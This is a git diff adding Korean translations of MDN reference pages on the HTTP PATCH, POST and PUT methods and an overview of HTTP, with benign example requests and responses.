+ <th scope="row">{{Glossary("Idempotent")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable")}}</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+ <td>No</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Request">Request</h3>
+
+<pre class="line-numbers language-html notranslate">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description of changes]</pre>
+
+<h3 id="Response">Response</h3>
+
+<p>성공적인 응답은 2xx 상태 코드를 통해서 확인할 수 있습니다.</p>
+
+<p>아래의 예시에서는 {{HTTPStatus("204")}} 응답이 사용되었는데, 이는 응답이 유의미한 body를 전달하고 있지 않기 때문입니다. {HTTPStatus("200")}} 응답에서는 body에 유의미한 데이터가 포함되어 있음을 유추할 수 있습니다.</p>
+
+<pre class="newpage notranslate">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("5789", "PATCH")}}</td>
+ <td>PATCH Method for HTTP</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – specifies the patch document formats accepted by the server.</li>
+</ul>
diff --git a/files/ko/web/http/methods/post/index.html b/files/ko/web/http/methods/post/index.html
new file mode 100644
index 0000000000..75884855fc
--- /dev/null
+++ b/files/ko/web/http/methods/post/index.html
@@ -0,0 +1,127 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+tags:
+ - HTTP
+ - Reference
+ - Request method
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>POST</code> 메서드</strong>는 서버로 데이터를 전송합니다. 요청 본문의 유형은 {{httpheader("Content-Type")}} 헤더로 나타냅니다.</p>
+
+<p>{{httpmethod("PUT")}}과 <code>POST</code>의 차이는 {{glossary("idempotent", "멱등성")}}으로, <code>PUT</code>은 멱등성을 가집니다. <code>PUT</code>은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과(side effect)가 없습니다.</p>
+
+<p><code>POST</code> 요청은 보통 <a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a>을 통해 서버에 전송하며, 서버에 변경사항을 만듭니다. 이 경우의 콘텐츠 유형(<code>Content-Type</code>)은 <dfn> {{HTMLElement("form")}} 요소의 {{htmlattrxref("enctype", "form")}} 특성이나 {{HTMLElement("input") }}, {{HTMLElement("button")}} </dfn>요소의 <dfn>{{htmlattrxref("formenctype", "input")}} 특성 안에 적당한 문자열을 넣어 결정합니다.</dfn></p>
+
+<ul>
+ <li><code>application/</code><dfn><code>x-www-form-urlencoded</code>: &amp;으로 분리되고, "=" 기호로 값과 키를 연결하는 key-value tuple로 인코딩되는 값입니다.</dfn><dfn> 영어 알파벳이 아닌 문자들은 {{glossary("percent encoded")}} 으로 인코딩됩니다. 따라서, 이 content type은 바이너리 데이터에 사용하기에는 적절치 않습니다. (바이너리 데이터에는 use <code>multipart/form-data</code> 를 사용해 주세요.)</dfn></li>
+ <li><dfn><code>multipart/form-data</code></dfn></li>
+ <li><dfn><code>text/plain</code></dfn></li>
+</ul>
+
+<p><code>POST</code> 요청을 HTML 양식 외의 다른 방법({{domxref("XMLHttpRequest")}} 등)으로 전송할 땐 요청의 본문이 어떤 형태도 취할 수 있습니다. HTTP 1.1 규격에 정의된 바와 같이, <code>POST</code>는 다음의 기능을 포함하는 균일한 메서드를 허용하도록 설계되었습니다.</p>
+
+<ul>
+ <li>기존 리소스에 주석달기</li>
+ <li>게시판, 뉴스 그룹, 메일링 리스트나 이와 유사한 시스템에 글 올리기</li>
+ <li>회원가입 모달로 새로운 사용자 추가하기</li>
+ <li>양식 전송 결과 등 데이터 블록을 데이터 처리 프로세스에 보내기</li>
+ <li>이어붙이기 연산을 통한 데이터베이스 확장</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">요청에 본문 존재</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">성공 응답에 본문 존재</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+ <td>신선도 정보 포함 시</td>
+ </tr>
+ <tr>
+ <th scope="row">HTML 양식에서 사용 가능</th>
+ <td>예</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">POST /index.html
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음은 <code>application/x-www-form-urlencoded</code> 콘텐츠 유형을 사용하는 간단한 형태의 양식 제출 예시입니다.</p>
+
+<pre class="line-numbers language-html">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p><code>multipart/form-data</code> 콘텐츠 유형을 사용하는 예시입니다.</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ <tr>
+ <td>{{RFC("2046", "Common Syntax", "5.1.1")}}</td>
+ <td>Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{httpmethod("GET")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/put/index.html b/files/ko/web/http/methods/put/index.html
new file mode 100644
index 0000000000..0f440eb174
--- /dev/null
+++ b/files/ko/web/http/methods/put/index.html
@@ -0,0 +1,101 @@
+---
+title: PUT
+slug: Web/HTTP/Methods/PUT
+tags:
+ - HTTP
+ - HTTP method
+ - Reference
+ - Request method
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>PUT</code> 메서드</strong>는 요청 페이로드를 사용해 새로운 리소스를 생성하거나, 대상 리소스를 나타내는 데이터를 대체합니다.</p>
+
+<p><code>PUT</code>과 {{httpmethod("POST")}}의 차이는 {{glossary("idempotent", "멱등성")}}으로, <code>PUT</code>은 멱등성을 가집니다. <code>PUT</code>은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과가 없습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">요청에 본문 존재</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">성공 응답에 본문 존재</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">HTML 양식에서 사용 가능</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">PUT /new.html HTTP/1.1
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요청">요청</h3>
+
+<pre>PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;New File&lt;/p&gt;</pre>
+
+<h3 id="응답">응답</h3>
+
+<p>대상 리소스를 나타내는 데이터가 없고, PUT 요청이 성공적으로 하나를 새로 생성한 경우, 출처 서버는 반드시 {{glossary("user agent", "사용자 에이전트")}}에게 {{HTTPStatus("201")}} (<code>Created</code>) 응답을 보내 해당 사항을 알려줘야 합니다.</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /new.html</pre>
+
+<p>대상 리소스를 나타내는 데이터가 있고, 이를 요청에 포함된 자료에 준하여 성공적으로 수정했다면, 출처 서버는 반드시 {{httpstatus("200")}} (<code>OK</code>) 또는 {{httpstatus("204")}} (<code>No Content</code>) 응답을 보내 성공을 알려줘야 합니다.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existing.html
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.PUT")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ko/web/http/overview/index.html b/files/ko/web/http/overview/index.html
new file mode 100644
index 0000000000..f353394867
--- /dev/null
+++ b/files/ko/web/http/overview/index.html
@@ -0,0 +1,179 @@
+---
+title: HTTP 개요
+slug: Web/HTTP/Overview
+tags:
+ - HTTP
+ - Overview
+ - WebMechanics
+ - 'l10n:priority'
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>HTTP는 HTML 문서와 같은 리소스들을 가져올 수 있도록 해주는 </strong>{{glossary("protocol", "프로토콜")}}입니다. HTTP는 웹에서 이루어지는 모든 데이터 교환의 기초이며, 클라이언트-서버 프로토콜이기도 합니다. 클라이언트-서버 프로토콜이란 (보통 웹브라우저인) 수신자 측에 의해 요청이 초기화되는 프로토콜을 의미합니다. 하나의 완전한 문서는 텍스트, 레이아웃 설명, 이미지, 비디오, 스크립트 등 불러온(fetched) 하위 문서들로 재구성됩니다.</p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>클라이언트와 서버들은 (데이터 스트림과 대조적으로) 개별적인 메시지 교환에 의해 통신합니다. 보통 브라우저인 클라이언트에 의해 전송되는 메시지를 <em>요청(requests)이</em>라고 부르며, 그에 대해 서버에서 응답으로 전송되는 메시지를 응답(<em>responses)이</em>라고 부릅니다.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">1990년대 초에 설계된 HTTP는 거듭하여 진화해온 확장 가능한 프로토콜입니다. HTTP는 애플리케이션 계층의 프로토콜로, 신뢰 가능한 전송 프로토콜이라면 이론상으로는 무엇이든 사용할 수 있으나 {{glossary("TCP")}} 혹은 암호화된 TCP 연결인 {{glossary("TLS")}}를 통해 전송됩니다. HTTP의 확장성 덕분에, 오늘날 하이퍼텍스트 문서 뿐만 아니라 이미지와 비디오 혹은 HTML 폼 결과와 같은 내용을 서버로 포스트(POST)하기 위해서도 사용됩니다. HTTP는 또한 필요할 때마다 웹 페이지를 갱신하기 위해 문서의 일부를 가져오는데 사용될 수도 있습니다.</p>
+
+<h2 id="HTTP_기반_시스템의_구성요소">HTTP 기반 시스템의 구성요소</h2>
+
+<p>HTTP는 클라이언트-서버 프로토콜입니다. 요청은 하나의 개체, 사용자 에이전트(또는 그것을 대신하는 프록시)에 의해 전송됩니다. 대부분의 경우, 사용자 에이전트는 브라우저지만, 무엇이든 될 수 있습니다. 예를 들어, 검색 엔진 인덱스를 채워넣고 유지하기 위해 웹을 돌아다니는 로봇이 그러한 경우입니다.</p>
+
+<p>각각의 개별적인 요청들은 서버로 보내지며, 서버는 요청을 처리하고 <em>response</em>라고 불리는 응답을 제공합니다. 이 요청과 응답 사이에는 여러 개체들이 있는데, 예를 들면 다양한 작업을 수행하는 게이트웨이 또는 {{glossary("Cache", "캐시")}} 역할을 하는 {{glossary("Proxy", "프록시")}} 등이 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png" style="height: 121px; width: 819px;"></p>
+
+<p>실제로는 브라우저와 요청을 처리하는 서버 사이에는 좀 더 많은 컴퓨터들이 존재합니다: 라우터, 모뎀 등이 있죠. 웹의 계층적인 설계 덕분에, 이들은 네트워크와 전송 계층 내로 숨겨집니다. HTTP은 애플리케이션 계층의 최상위에 있습니다. 네트워크 문제를 진단하는 것도 중요하지만, 기본 레이어들은 HTTP의 명세와는 거의 관련이 없습니다.</p>
+
+<h3 id="클라이언트_사용자_에이전트">클라이언트: 사용자 에이전트</h3>
+
+<p>사용자 에이전트는 사용자를 대신하여 동작하는 모든 도구입니다. 이 역할은 주로 브라우저에 의해 수행됩니다; 엔지니어들과 자신들의 애플리케이션을 디버그하는 웹 개발자들이 사용하는 프로그램들은 예외입니다.</p>
+
+<p>브라우저는 <strong>항상</strong> 요청을 보내는 개체입니다. 그것은 결코 서버가 될 수 없습니다(수년에 걸쳐 서버 초기화된 메시지를 시뮬레이션하기 위해 몇 가지 메커니즘이 추가되어 왔지만).</p>
+
+<p>웹 페이지를 표시하기 위해, 브라우저는 페이지의 HTML 문서를 가져오기 위한 요청을 전송한 뒤, 파일을 구문 분석하여 실행해야 할 스크립트 그리고 페이지 내 포함된 하위 리소스들(보통 이미지와 비디오)을 잘 표시하기 위한 레이아웃 정보(CSS)에 대응하는 추가적인 요청들을 가져옵니다. 그런 뒤에 브라우저는 완전한 문서인 웹 페이지를 표시하기 위해 그런 리소스들을 혼합합니다. 브라우저에 의해 실행된 스크립트는 이후 단계에서 좀 더 많은 리소스들을 가져올 수 있으며 브라우저는 그에 따라 웹 페이지를 갱신하게 됩니다.</p>
+
+<p>웹 페이지는 하이퍼텍스트 문서로, 표시된 텍스트의 일부는 사용자가 사용자 에이전트를 제어하고 웹을 돌아다닐 수 있도록 새로운 웹 페이지를 가져오기 위해 실행(보통 마우스 클릭에 의해)될 수 있는 링크임을 뜻합니다. 브라우저는 HTTP 요청 내에서 이런 지시 사항들을 변환하고 HTTP 응답을 해석하여 사용자에게 명확한 응답을 표시합니다.</p>
+
+<h3 id="웹_서버">웹 서버</h3>
+
+<p>통신 채널의 반대편에는 클라이언트에 의한 요청에 대한 문서를 <em>제공</em>하는 서버가 존재합니다. 서버는 사실 상 논리적으로 단일 기계입니다.이는 로드(로드 밸런싱) 혹은 그때 그때 다른 컴퓨터(캐시, DB 서버, e-커머스 서버 등과 같은)들의 정보를 얻고 완전하게 혹은 부분적으로 문서를 생성하는 소프트웨어의 복잡한 부분을 공유하는 서버들의 집합일 수도 있기 때문입니다.</p>
+
+<p>서버는 반드시 단일 머신일 필요는 없지만, 여러 개의 서버를 동일한 머신 위에서 호스팅 할 수는 있습니다. HTTP/1.1과 {{HTTPHeader("Host")}} 헤더를 이용하여, 동일한 IP 주소를 공유할 수도 있습니다.</p>
+
+<h3 id="프록시">프록시</h3>
+
+<p>웹 브라우저와 서버 사이에서는 수많은 컴퓨터와 머신이 HTTP 메시지를 이어 받고 전달합니다. 여러 계층으로 이루어진 웹 스택 구조에서 이러한 컴퓨터/머신들은 대부분은 전송, 네트워크 혹은 물리 계층에서 동작하며, 성능에 상당히 큰 영향을 주지만 HTTP 계층에서는 이들이 어떻게 동작하는지 눈에 보이지 않습니다. 이러한 컴퓨터/머신 중에서도 애플리케이션 계층에서 동작하는 것들을 일반적으로 <strong>프록시</strong>라고 부릅니다. 프록시는 눈에 보이거나 그렇지 않을 수도 있으며(프록시를 통해 요청이 변경되거나 변경되지 않는 경우를 말함) 다양한 기능들을 수행할 수 있습니다:</p>
+
+<ul>
+ <li>캐싱 (캐시는 공개 또는 비공개가 될 수 있습니다 (예: 브라우저 캐시))</li>
+ <li>필터링 (바이러스 백신 스캔, 유해 컨텐츠 차단(자녀 보호) 기능)</li>
+ <li>로드 밸런싱 (여러 서버들이 서로 다른 요청을 처리하도록 허용)</li>
+ <li>인증 (다양한 리소스에 대한 접근 제어)</li>
+ <li>로깅 (이력 정보를 저장)</li>
+</ul>
+
+<h2 id="HTTP의_기초적인_측면">HTTP의 기초적인 측면</h2>
+
+<h3 id="HTTP은_간단합니다">HTTP은 간단합니다</h3>
+
+<p>HTTP는 사람이 읽을 수 있으며 간단하게 고안되었습니다. 심지어 HTTP/2가 다소 더 복잡해졌지만 여전히 HTTP 메세지를 프레임별로 캡슐화하여 간결함을 유지하였습니다. HTTP 메시지들은 사람이 읽고 이해할 수 있어, 테스트하기 쉽고 초심자의 진입장벽을 낮췄습니다.</p>
+
+<h3 id="HTTP은_확장_가능합니다">HTTP은 확장 가능합니다</h3>
+
+<p>HTTP/1.0에서 소개된, <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 HTTP를 확장하고 실험하기 쉽게 만들어주었습니다. 클라이언트와 서버가 새로운 헤더의 시맨틱에 대해 간단한 합의만 한다면, 언제든지 새로운 기능을 추가할 수 있습니다.</p>
+
+<h3 id="HTTP은_상태가_없지만_세션은_있습니다">HTTP은 상태가 없지만, 세션은 있습니다</h3>
+
+<p>HTTP는 상태를 저장하지 않습니다(Stateless). 동일한 연결 상에서 연속하여 전달된 두 개의 요청 사이에는 연결고리가 없습니다. 이는 e-커머스 쇼핑 바구니처럼, 일관된 방식으로 사용자가 페이지와 상호작용하길 원할 때 문제가 됩니다. 하지만, HTTP의 핵심은 상태가 없는 것이지만 HTTP 쿠키는 상태가 있는 세션을 만들도록 해줍니다.<br>
+ 헤더 확장성을 사용하여, 동일한 컨텍스트 또는 동일한 상태를 공유하기 위해 각각의 요청들에 세션을 만들도록 HTTP 쿠키가 추가됩니다.</p>
+
+<h3 id="HTTP와_연결">HTTP와 연결</h3>
+
+<p>연결은 전송 계층에서 제어되므로 근본적으로 HTTP 영역 밖입니다. HTTP는 연결될 수 있도록 하는 근본적인 전송 프로토콜을 요구하지 않습니다; 다만 그저 신뢰할 수 있거나 메시지 손실이 없는(최소한의 오류는 표시) 연결을 요구할 뿐입니다. 인터넷 상의 가장 일반적인 두 개의 전송 프로토콜 중에서 TCP는 신뢰할 수 있으며 UDP는 그렇지 않습니다. 그러므로 HTTP는 연결이 필수는 아니지만 연결 기반인 TCP 표준에 의존합니다.</p>
+
+<p>클라이언트와 서버가 HTTP를 요청/응답으로 교환하기 전에 여러 왕복이 필요한 프로세스인 TCP 연결을 설정해야 합니다. HTTP/1.0의 기본 동작은 각 요청/응답에 대해 별도의 TCP 연결을 여는 것입니다. 이 동작은 여러 요청을 연속해서 보내는 경우에는 단일 TCP 연결을 공유하는 것보다 효율적이지 못합니다.</p>
+
+<p>이러한 결함을 개선하기 위해, HTTP/1.1은 (구현하기 어렵다고 입증된) 파이프라이닝 개념과 지속적인 연결의 개념을 도입했습니다: 기본적인 TCP 연결은 {{HTTPHeader("Connection")}} 헤더를 사용해 부분적으로 제어할 수 있습니다. HTTP/2는 연결을 좀 더 지속되고 효율적으로 유지하는데 도움이 되도록, 단일 연결 상에서 메시지를 다중 전송(multiplex)하여 한 걸음 더 나아갔습니다.</p>
+
+<p>HTTP에 더 알맞은 좀 더 나은 전송 프로토콜을 설계하는 실험이 진행 중에 있습니다. 예를 들어, 구글은 좀 더 신뢰성있고 효율적인 전송 프로토콜을 제공하기 위해 UDP기반의 <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>를 실험 중에 있습니다.</p>
+
+<h2 id="HTTP로_제어할_수_있는_것">HTTP로 제어할 수 있는 것</h2>
+
+<p>HTTP의 확장 가능한 특성은 수년 간에 걸쳐 웹의 점점 더 많은 기능들을 제어하도록 허용되어 왔습니다. 캐시 혹은 인증 메서드는 HTTP에 초기부터 제어해왔던 기능이며, 반면에 <code>origin</code> <em>제약사항</em>을 완화시키는 조치는 2010년에 들어서 추가되었습니다.</p>
+
+<p>다음은 HTTP 사용하여 제어 가능한 일반적인 기능 목록입니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Caching">캐시</a><br>
+ HTTP로 문서가 캐시되는 방식을 제어할 수 있습니다. 서버는 캐시 대상과 기간을 프록시와 클라이언트에 지시할 수 있고 클라이언트는 저장된 문서를 무시하라고 중간 캐시 프록시에게 지시할 수 있습니다.</li>
+ <li><em>origin 제약사항을 완화하기</em><br>
+ 스누핑과 다른 프라이버시 침해를 막기 위해, 브라우저는 웹 사이트 간의 엄격한 분리를 강제합니다. <strong>동일한 origin</strong>으로부터 온 페이지만이 웹 페이지의 전체 정보에 접근할 수 있죠. 그런 제약 사항은 서버에 부담이 되지만, HTTP 헤더를 통해 그것을 완화시킬 수 있습니다. 그런 덕분에 문서는 다른 도메인으로부터 전달된 정보를 패치워크할 수 있습니다(그렇게 하려면 어떤 경우에 보안과 관련된 사항이 있을 수도 있습니다).</li>
+ <li><em>인증</em><br>
+ 어떤 페이지들은 보호되어 오로지 특정 사용자만이 그것에 접근할 수도 있습니다. 기본 인증은 HTTP를 통해 {{HTTPHeader("WWW-Authenticate")}} 또는 유사한 헤더를 사용해 제공되거나, <a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a>를 사용해 특정 세션을 설정하여 이루어질 수도 있습니다.</li>
+ <li><a href="/ko/docs/Web/HTTP/Proxy_servers_and_tunneling">프록시와 터널링</a><br>
+ 서버 혹은 클라이언트 혹은 그 둘 모두는 종종 인트라넷에 위치하며 다른 개체들에게 그들의 실제 주소를 숨기기도 합니다. HTTP 요청은 네트워크 장벽을 가로지르기 위해 프록시를 통해 나가게 되죠. 모든 프록시가 HTTP 프록시는 아닙니다. 예를 들면 SOCKS 프로토콜은 좀 더 저수준에서 동작합니다. FTP와 같은 다른 프로토콜도 이 프록시를 통해 처리될 수 있습니다.</li>
+ <li><em>세션</em><br>
+ 쿠키 사용은 서버 상태를 요청과 연결하도록 해줍니다. 이것은 HTTP가 기본적으로 상태없는 프로토콜임에도 세션을 만들어주는 계기가 됩니다. 이것은 e-커머스 쇼핑 바구니를 위해서 유용할 뿐만 아니라 사용자 구성을 허용하는 모든 사이트에 대해서 유용합니다.</li>
+</ul>
+
+<h2 id="HTTP_흐름">HTTP 흐름</h2>
+
+<p>클라이언트가 서버와 통신하고자 할 때, 최종 서버가 됐든 중간 프록시가 됐든, 다음 단계의 과정을 수행합니다:</p>
+
+<ol>
+ <li>TCP 연결을 엽니다:TCP 연결은 요청을 보내거나(혹은 여러개의 요청) 응답을 받는데 사용됩니다. 클라이언트는 새 연결을 열거나, 기존 연결을 재사용하거나, 서버에 대한 여러 TCP 연결을 열 수 있습니다.</li>
+ <li>HTTP 메시지를 전송합니다: HTTP 메시지(HTTP/2 이전의)는 인간이 읽을 수 있습니다. HTTP/2에서는 이런 간단한 메시지가 프레임 속으로 캡슐화되어, 직접 읽는게 불가능하지만 원칙은 동일합니다.
+ <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>서버에 의해 전송된 응답을 읽어들입니다:
+ <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>연결을 닫거나 다른 요청들을 위해 재사용합니다.</li>
+</ol>
+
+<p>HTTP 파이프라이닝이 활성화되면, 첫번째 응답을 완전히 수신할 때까지 기다리지 않고 여러 요청을 보낼 수 있습니다. HTTP 파이프라이닝은 오래된 소프트웨어와 최신 버전이 공존하고 있는, 기존의 네트워크 상에서 구현하기 어렵다는게 입증되었으며, 프레임안에서 보다 활발한 다중 요청을 보내는 HTTP/2로 교체되고 있습니다.</p>
+
+<h2 id="HTTP_메시지">HTTP 메시지</h2>
+
+<p>HTTP/1.1와 초기 HTTP 메시지는 사람이 읽을 수 있습니다. HTTP/2에서, 이 메시지들은 새로운 이진 구조인 프레임 안으로 임베드되어, 헤더의 압축과 다중화와 같은 최적화를 가능케 합니다. 본래의 HTTP 메시지의 일부분만이 이 버전의 HTTP 내에서 전송된다고 할지라도, 각 메시지의 의미들은 변화하지 않으며 클라이언트는 본래의 HTTP/1.1 요청을 (가상으로) 재구성합니다. 그러므로 HTTP/1.1 포맷 내에서 HTTP/2를 이해하는 것은 여전히 유용합니다.</p>
+
+<p>HTTP 메시지의 두 가지 타입인 요청(requests)과 응답(responses)은 각자의 특성있는 형식을 가지고 있습니다.</p>
+
+<h3 id="요청">요청</h3>
+
+<p>HTTP 요청의 예:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>요청은 다음의 요소들로 구성됩니다:</p>
+
+<ul>
+ <li>HTTP <a href="/ko/docs/Web/HTTP/Methods">메서드</a>, 보통 클라이언트가 수행하고자 하는 동작을 정의한 {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 같은 동사나 {{HTTPMethod("OPTIONS")}}나 {{HTTPMethod("HEAD")}}와 같은 명사입니다. 일반적으로, 클라이언트는 리소스를 가져오거나(<code>GET</code>을 사용하여) <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 폼</a>의 데이터를 전송(<code>POST</code>를 사용하여)하려고 하지만, 다른 경우에는 다른 동작이 요구될 수도 있습니다.</li>
+ <li>가져오려는 리소스의 경로; 예를 들면 {{glossary("protocol", "프로토콜")}} (<code>http://</code>), {{glossary("domain", "도메인")}} (여기서는 <code>developer.mozilla.org</code>), 또는 TCP {{glossary("port", "포트")}} (여기서는 <code>80</code>)인 요소들을 제거한 리소스의 URL입니다.</li>
+ <li>HTTP 프로토콜의 버전.</li>
+ <li>서버에 대한 추가 정보를 전달하는 선택적 <a href="/en-US/docs/Web/HTTP/Headers">헤더들</a>.</li>
+ <li><code>POST</code>와 같은 몇 가지 메서드를 위한, 전송된 리소스를 포함하는 응답의 본문과 유사한 본문.</li>
+</ul>
+
+<h3 id="응답">응답</h3>
+
+<p>응답의 예:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>응답은 다음의 요소들로 구성됩니다:</p>
+
+<ul>
+ <li>HTTP 프로토콜의 버전.</li>
+ <li>요청의 성공 여부와, 그 이유를 나타내는 <a href="/en-US/docs/Web/HTTP/Status">상태 코드</a>.</li>
+ <li>아무런 영향력이 없는, 상태 코드의 짧은 설명을 나타내는 상태 메시지.</li>
+ <li>요청 헤더와 비슷한, HTTP <a href="/en-US/docs/Web/HTTP/Headers">헤더들</a>.</li>
+ <li>선택 사항으로, 가져온 리소스가 포함되는 본문.</li>
+</ul>
+
+<h2 id="HTTP_기반_API">HTTP 기반 API</h2>
+
+<p>HTTP 기반으로 가장 일반적으로 사용된 API는 {{Glossary("user agent")}}와 서버간에 데이터를 교환하는데 사용될 수 있는 {{domxref("XMLHttpRequest")}} API 입니다. 최신 {{domxref("Fetch API")}}는 보다 강력하고 유연한 기능을 제공합니다.</p>
+
